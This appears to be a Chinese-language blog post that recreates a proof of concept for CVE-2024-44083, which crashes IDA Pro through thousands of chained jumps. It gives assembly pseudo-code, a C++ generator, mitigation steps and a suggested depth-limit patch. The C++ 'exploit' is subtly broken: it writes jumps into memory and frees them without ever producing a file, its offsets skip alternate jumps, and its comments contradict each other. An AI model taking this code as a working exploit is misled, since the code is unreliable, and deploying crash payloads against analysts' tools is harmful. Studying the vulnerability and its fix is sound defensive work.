CVE-2024-44083
原始PoC仓库已被删除(github.com/Azvanzed/CVE-2024-44083、github.com/Azvanzed/IdaMeme),因此这里重新发布。考虑到有些人可能想了解其工作原理或测试自己的环境,我决定重建它。
IDA Pro ≤ 8.4版本在分析包含超长跳转链的二进制文件时会崩溃。
漏洞原理
ida64.dll在处理跳转链时没有限制其递归深度。因此,如果二进制文件中包含数千条以入口点结束的链式跳转,IDA就会自行崩溃。
| 字段 |
值 |
| CVE |
CVE-2024-44083 |
| 受影响版本 |
IDA Pro ≤ 8.4 |
| 受影响组件 |
ida64.dll |
| CWE |
CWE-770 (资源耗尽) |
| 影响 |
崩溃 (拒绝服务) |
工作原理
原理很简单:创建一个充满跳转指令的区段,这些跳转会不断跳转到更多跳转指令。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
; 伪代码示例
section .text
; 成千上万个这样的跳转
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... 一直继续 ...
jump_9999:
jmp payload
payload:
call _start ; 这个调用创建了破坏性的交叉引用
_start:
; IDA尝试解析所有指向这里的跳转
; 嘭!崩溃了
ret
|
IDA尝试跟踪并分析所有这些跳转指令,构建交叉引用。当跳转数量足够多时,IDA就会放弃并崩溃。
自行实现(示例)
如果你想用C++实现类似的功能,可以这样做:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
#include <windows.h>
#include <cstring>
// 核心思想是生成大量链式跳转指令
// 这些跳转最终会指向程序的入口点
void generate_jump_chain() {
// 为跳转链分配可执行内存
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10,000个跳转 × 5字节 + 额外空间
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// 创建10,000个链式跳转
for (int i = 0; i < 10000; i++) {
// 写入JMP rel32指令 (E9 xx xx xx xx)
code[offset] = 0xE9; // JMP操作码
// 计算到下一个跳转的相对偏移(向前5字节)
int32_t rel = 5;
// 复制4字节的相对偏移
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// 最后一个跳转创建循环引用
// 跳回5字节形成无限循环
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// 也可以返回一个值使其看起来更真实
offset += 5;
code[offset] = 0xC3; // ret指令
// 这就是使IDA崩溃的模式:
// 10,000个跳转 → 自引用跳转 → IDA陷入死循环
// 递归没有深度限制 → 栈溢出 → 崩溃
// 清理内存
VirtualFree(code, 0, MEM_RELEASE);
}
|
基本上,你只是编写了一系列链式连接的JMP指令。当IDA尝试智能分析这些指令时,会耗尽栈空间或内存。
修复方案
如果你的IDA版本较旧:
-
在打开可疑文件前禁用自动分析
- 点击工具栏中的黄/绿圆圈图标关闭自动分析
- 或通过Options → General → Analysis → 取消勾选"Enabled"
- 先手动查看,如果看起来安全再重新启用
-
限制对可疑区段的分析
- 右键点击区段 → Edit segment
- 更改区段类型或权限以防止代码分析
- 如果不需要该区段,直接删除它
Hex-Rays应该做的修复:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
// 伪代码
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("跳转链过深。分析停止。");
return; // 不要崩溃,直接停止
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
|
只需要添加一个深度限制,就这么简单。
参考资料
- NVD漏洞数据库
- hexrays.su <– 升级你的IDA
免责声明
仅供教育目的,请勿滥用。